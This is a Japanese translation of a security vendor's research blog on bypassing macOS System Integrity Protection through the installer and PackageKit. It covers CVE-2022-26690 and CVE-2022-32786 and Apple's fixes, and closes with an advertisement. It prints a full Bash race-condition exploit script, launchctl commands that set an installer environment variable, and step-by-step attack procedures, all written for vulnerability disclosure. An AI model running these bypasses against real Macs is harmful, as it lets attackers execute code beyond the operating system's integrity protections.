エクスプロイト&脆弱性
macOSのセキュリティ機能SIPをバイパスした過去の事例を調査し、3件の新たな脆弱性を発見
今から2年以上前、セキュリティ研究者の「A2nkF」がブログ「Objective-See」上でmacOSを標的とする攻撃方法について報告し、注目を集めました。当該ブログでは、権限昇格からシステム整合性保護(SIP:System Integrity Protection)の回避(バイパス)、さらには任意のカーネル拡張機能の読み込みまでを含む、一連の攻撃に関する詳細が述べられています。
今から2年以上前、セキュリティ研究者の「A2nkF」がブログ「Objective-See」上でmacOSを標的とする攻撃方法について報告し、注目を集めました。当該ブログでは、権限昇格からシステム整合性保護(SIP:System Integrity Protection)の回避(バイパス)、さらには任意のカーネル拡張機能の読み込みまでを含む、一連の攻撃に関する詳細が述べられています。
ブログに掲載された2番目の脆弱性について調査したところ、Apple社による修正対応を容易にバイパス可能な手段が多く存在することが判明しました。この結果、Apple社は追加のセキュリティ課題(CVE-2022-26690、CVE-2022-32786など)に対する修正をリリースしました。
また、弊社では15種以上のSIPバイパス脆弱性についてApple社に報告し、そのうちの一部はセキュリティ会議「POC2022:Power of Community 2022」でも解説しました。今回のブログは、SIPバイパス脆弱性に関するブログシリーズの第2回目となります。SIPに関する概要やデーモンサービスの特別な権限については、第1回目をご参照ください。
過去の脆弱性
A2nkFは、Apple社が署名したパッケージのポストインストールスクリプト(インストール後に実行)に、SIPの制約をバイパスさせる脆弱性があることを指摘しました。このスクリプトは、特殊な権限を持つサービス「system_installd」によって実行されるため、SIPの制約を受けることはありません。
上記スクリプト中の「$3」はインストール先のボリュームパスであり、コマンド「installer」の引数で指定されます。この仕組みをもとに、攻撃者は指定の場所に不正なスクリプトを用意することで、SIPの制約を意図的にバイパスすることが可能になります。
脆弱性に対する修正対応
Apple社は、上述の課題を2つの側面から対処しました。第一に、脆弱なパッケージへの対応として、「$3」を除去し、代わりにハードコーディングによるアプリケーションパスを用いました。
第二に、フレームワーク「PackageKit」に同梱のXPCサービス「package_script_service.xpc」を新規に追加しました。このXPCサービスはパッケージのスクリプトをルート権限で実行する役割を担いますが、system_installdではなくlaunchdによって起動されるため、SIPをバイパスする権限はありません。
インストール先のボリュームがルートボリュームでない場合、パッケージスクリプトはXPCサービスを使用して安全で隔離された環境内で実行されます。
新しいバイパス手段の出現
図3の修正対応を見ると、81行目にあるボリュームパスのチェック処理をバイパスすれば、XPCサービスの隔離環境ではなく、system_installdからスクリプトを直接実行できることが分かります。
では、ボリュームパスのチェック処理をバイパスする方法はあるでしょうか。デバッグ解析を行っていた際、80行目で取得されるボリュームパスは、コマンド「installer」の呼び出し時に引数指定したディスクイメージ(DMG)のマウント先に相当することが判明しました。
では、チェック処理の直前にDMGボリュームを解除した場合はどうなるでしょうか。実際にテストしたところ、80行目ではルートボリュームが取得され、81行目のチェック処理は期待通りバイパスされました。
本脆弱性に基づく攻撃用のBashスクリプトを下記に示します。
#!/bin/bash
echo "[*] preparing the payload..."
MOUNT_DIR="/tmp/.exploit"
PAYLOAD_DIR="$MOUNT_DIR/payload"
PAYLOAD_POST_PATH="$PAYLOAD_DIR/postinstall"
PAYLOAD_PRE_PATH="$PAYLOAD_DIR/preinstall"
mkdir -p "$PAYLOAD_DIR"
# create postinstall script
echo "#!/bin/bash" > "$PAYLOAD_POST_PATH"
echo $1 >> "$PAYLOAD_POST_PATH"
chmod +x "$PAYLOAD_POST_PATH"
# create preinstall script just to make the exploit more elegant
echo "#!/bin/bash" > "$PAYLOAD_PRE_PATH"
echo "echo 'just a place holder, our payload is in the postinstall.'" >> "$PAYLOAD_PRE_PATH"
chmod +x "$PAYLOAD_PRE_PATH"
echo "[*] preparing the dmg mounting..."
hdiutil create -size 50m -volname .exploit -ov disk.dmg
hdiutil attach -mountpoint $MOUNT_DIR disk.dmg
sudo echo "[*] all the preparations are done."
sudo installer -pkg $2 -target $MOUNT_DIR &
echo "[*] waiting for installer..."
while true ; do
target=`compgen -G "$MOUNT_DIR/.PKInstallSandboxManager-SystemSoftware/*/OpenPath*/Scripts/*/postinstall"`
if [ $target ]; then
#hdiutil detach $MOUNT_DIR
#detach is slow, kill the process will help us eject the dmg immediately, to win the race condition.
kill -9 `pgrep diskimages`
# re-create the scripts path and put our payload inside.
TARGET_DIR="${target%'postinstall'}"
echo "[*] re-creating target path: $TARGET_DIR"
mkdir -p "$TARGET_DIR"
mv "$PAYLOAD_DIR/*" "$TARGET_DIR"
echo "[*] replaced target: $target"
break
fi
done
echo "[*] all done. enjoy :P"
このスクリプトは、おおまかには下記の処理を行います。
- PKGファイルのインストール前に不正なポストインストールスクリプトを準備し、DMGボリュームをマウントする。
- コマンド「installer 」を使用してApple社の署名付きパッケージをDMGボリュームにインストールする。
- ポストインストールスクリプトがDMGボリュームに作成されるまで待機する。
- ポストインストールスクリプトが作成され次第、即座にDMGボリュームを解除する。さらに、ルートボリュームに同じディレクトリを作成する。
- 作成したディレクトリに、事前に用意したペイロード用スクリプトを移動する。
- ペイロードスクリプトがSIPの制約なしで実行されるまで待機する。
この攻撃では、DMGボリュームの解除に関する工夫が施されています。通常のディスク関連ユーティリティ「hdiutil」に含まれるサブコマンド「detach」では処理が遅く、インストーラ側の処理に先を越されてしまいます。そこで、より高速な手段として、プロセス「disimages-helper」を直接停止させる方式が用いられています。
本Bashスクリプトによる攻撃は、理屈としては成功するはずですが、今回のテストではうまくいきませんでした。その理由は、シェルスクリプト自体の進行が遅く、インストーラ側の処理スピードには追いつけなかったためです。しかし、同様の処理をC言語で記述すれば、成功する可能性が見込まれます。
追加の修正対応
Apple社は、上記の問題を「CVE-2022-26690」で対応しました。
修正版では、パッケージのスクリプトを起動する前に、ディレクトリ「scripts」にアクセス制限がある(信頼性が認められる)かを検証します。制限がない場合は、XPCサービスを介して安全な隔離環境内でスクリプトを実行します。
この対応で問題が解決される理由は、下記の通りです。
- 通常のシナリオにおいて、ディレクトリ「scripts」へのアクセスは、Apple社の署名付きパッケージに制限される。また、このディレクトリ自体も制限されたパス「/Library/Apple/」内に存在する。従って、当該ディレクトリ内にあるスクリプトの信頼性が認められ、直接実行の対象になる。
- マウントしたDMGボリュームにインストールする場合、そのディレクトリ「scripts」にはアクセス制限がない。これは、ディレクトリをAPI「rootless_mkdir_restricted」で作成した場合も同様である。従って、DMGボリューム内にあるスクリプトの信頼性は認められず、XPCサービスの隔離環境側で実行される。
- DMGボリュームが解除された場合、ディレクトリ「scripts」も消失する。同じディレクトリを別途作成しても、そこにアクセス制限はなく、信頼性は認められない。
インストーラは下図の通り、パスのアクセス制限をチェックするためにAPI「rootless_check_trusted_fd」を用います。パスを開く際のフラグとして「0x220000(O_SYMLINK)」が指定されているため、シンボリックリンク攻撃を行ったとしても、このチェック処理はバイパスできません。
バイパス手段の再出現
しかし、上述の修正対応をバイパスする手口が発見されました。詳細を述べる前に、まず、ディレクトリ「scripts」がどのように作られているかについて解説します。
デバッグ解析の結果によると、ディレクトリ「scripts」のパスは下記のような構成を持ちます。
/private/tmp/.exploit/.PKInstallSandboxManager-SystemSoftware/101B1766-A83A-4A00-B9D8-785F1B7583F4.activeSandbox/OpenPath.zP67Z8/Scripts
このうち、「/private/tmp/.exploit」は、今回の攻撃テスト用に準備したDMGボリュームに相当します。
以下の部分は「サンドボックスのりポジトリ」と呼ばれ、
.PKInstallSandboxManager-SystemSoftware
その作成には以下の関数が用いられます。
-[PKInstallSandboxManager _sandboxRepositoryForDestination:forSystemSoftware:create:error:]:
以下のディレクトリは「インストール用サンドボックスのパス」と呼ばれ、
101B1766-A83A-4A00-B9D8-785F1B7583F4.activeSandbox
その作成は以下の関数ブロックによって行われます。
-[PKInstallSandboxManager addSandboxPathForDestination:forSystemSoftware:]:
図6、7より、「サンドボックスのリポジトリ」と「インストール用サンドボックスのパス」は、そのどちらもAPI「rootless_mkdir_restricted」の内部呼び出しによって作成されることが分かります。
今回は、「インストール用サンドボックスのパス」が作成される直前に、DMGボリュームを解除する手段を試みました。この結果、ルートボリューム側にアクセス制限付きの「インストール用サンドボックスのパス」が期待通り作成され、先述したスクリプト用ディレクトリのチェック処理をバイパスできることが判明しました。
しかし、スクリプト用ディレクトリはアクセス制限されているため、今度はその内容を直接編集できないという課題があります。この解決策は、「マウント・トリック」と呼ぶものであり、具体的には、解除済みのDMGボリュームパスに対して、別のDMGファイルをマウントします。これによってディレクトリ「scripts」はオーバーラップされ、アクセス制限はなくなります。
以上を踏まえた攻撃手順は、下記の通りです。
- DMGファイルを作成し、ディレクトリ「/tmp/.exploit」にマウントする。
- マウントしたDMGボリュームにApple社の署名付きパッケージをインストールする。
- 関数「_sandboxRepositoryForDestination:XXX」の処理中、「サンドボックのリポジトリ」用パスがDMGボリューム内で作成または返却され次第、即座にDMGボリュームを解除する。さらに、ルートボリューム内に「サンドボックスのリポジトリ」を作成する。
- 関数「_runPackageScriptXXX」の処理中、スクリプト用ディレクトリに対するチェック処理が済み次第、別のDMGファイルを同じディレクトリ「/tmp/.exploit」にマウントする。さらに、同じスクリプト用ディレクトリを再度作成し、任意の攻撃用スクリプトを投下する。
- 攻撃用スクリプトが直接実行されるまで待機する。
後続の修正対応に追従
Apple社は同じ問題への対応を再度「macOS Ventura」で実施しましたが、CVEはまだ割り振られていません。この新しい修正では、パスの信頼性を確認する処理が以下の関数に移され、
_systemTrustedAndOnVolumeAtPath
さらに返却値がPKInstallSandboxの以下のメンバ変数に格納されるようになりました。
_trustedSystemSandbox
次に、以下の新しい関数を見てみます。
_systemTrustedAndOnVolumeAtPath:
上図の処理では、指定パスに含まれる全コンポーネントを抽出していることが分かります。パスの信頼性を認める条件として、個々のコンポーネントがフラグ「SF_NOUNLINK」または「SF_RESTRICTED」のいずれかを持っている必要があります。この方式により、マウント可能なコンポーネントが含まれているケースを排除します。
別のバイパス手段が再出現
このバイパス手段は、以下の関数の中で見つかりました。
-[PKRunPackageScriptInstallOperation _runPackageScriptXXX]:
上図を見ると、以下の環境変数がTRUEに設定されている場合、スクリプトのパスにアクセス制限が有るかを問わず、直接実行されることが分かります。
_OSINSTALL_ENVIRONMENT
以上の点を踏まえた攻撃手順を下記に示します。
- デーモンサービス「system_installd」の環境変数を設定
- DMGボリュームを準備し、信頼性が認められない当該DMGボリュームに、Apple社の署名付きPKGをインストール
- 信頼性が認められない当該DMGボリューム上でポストインストールスクリプトを直接修正する。このスクリプトはサービス「system_installd」によって直接呼び出される。そのため、実行中はSIPによる制約を受けない。
sudo launchctl stop com.apple.system_installd
sudo launchctl setenv __OSINSTALL_ENVIRONMENT 1
sudo launchctl start com.apple.system_installd
修正対応と解決の確認
Apple社はこの課題(CVE-2022-32786)をmacOS 12.5で対応しました。
修正版では、リスクの高い環境変数ではなく、以下のAPIの呼び出し結果を用いるようになりました。
os_variant_is_basesystem
セキュリティ推奨事項
Apple社は、今回報告された全ての攻撃手段に対して、修正対応を行いました。しかし、最終的な端末の保護は依然としてユーザ側の手に委ねられています。システムのセキュリティを強化するためには、macOSを最新版にアップデートしておくことが重要です。
さらに、ご利用のMac端末に追加の保護対策を導入することも、安全性を確保する鍵となります。例えば家庭用端末向けの「ウイルスバスター™ for Mac」や業務向けの「Trend Micro Protection Suites」は、システム内のファイルまたはダウンロードファイルに潜む脅威の検知や監視をはじめとする、さまざまな保護機能を提供します。
参考記事:
Diving into an Old Exploit Chain and Discovering 3 new SIP-Bypass Vulnerabilities
By: Mickey Jin
翻訳:清水 浩平(Core Technology Marketing, Trend Micro™ Research)